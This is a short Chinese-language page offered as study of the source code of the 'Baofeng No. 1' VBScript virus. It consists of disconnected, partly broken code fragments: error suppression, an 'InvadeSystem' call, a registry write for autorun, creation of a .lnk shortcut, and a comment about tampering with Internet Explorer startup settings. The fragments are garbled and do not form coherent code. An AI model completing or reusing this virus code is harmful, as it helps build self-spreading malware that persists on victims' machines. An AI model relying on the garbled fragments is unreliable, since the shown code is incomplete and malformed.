2023年11月30日发(作者：)

暴风⼀号病毒源码学习

On Error Resume Next '//屏蔽出错信息，发⽣错误时继续向下执⾏

Call InvadeSystem(VirusLoad,VirusAss)

On Error Resume Next

Call WriteReg (HCULoad, Load_Value, "")

<>MyCpt_Value1 Then

On Error Resume Next

Set tmps=Nothing

LnkPath=D&":/"&&".lnk" '//创建对应的快捷⽅式

On Error Resume Next

'//篡改IE启动设置

Function VBSProcessCount(VBSPath)

On Error Resume Next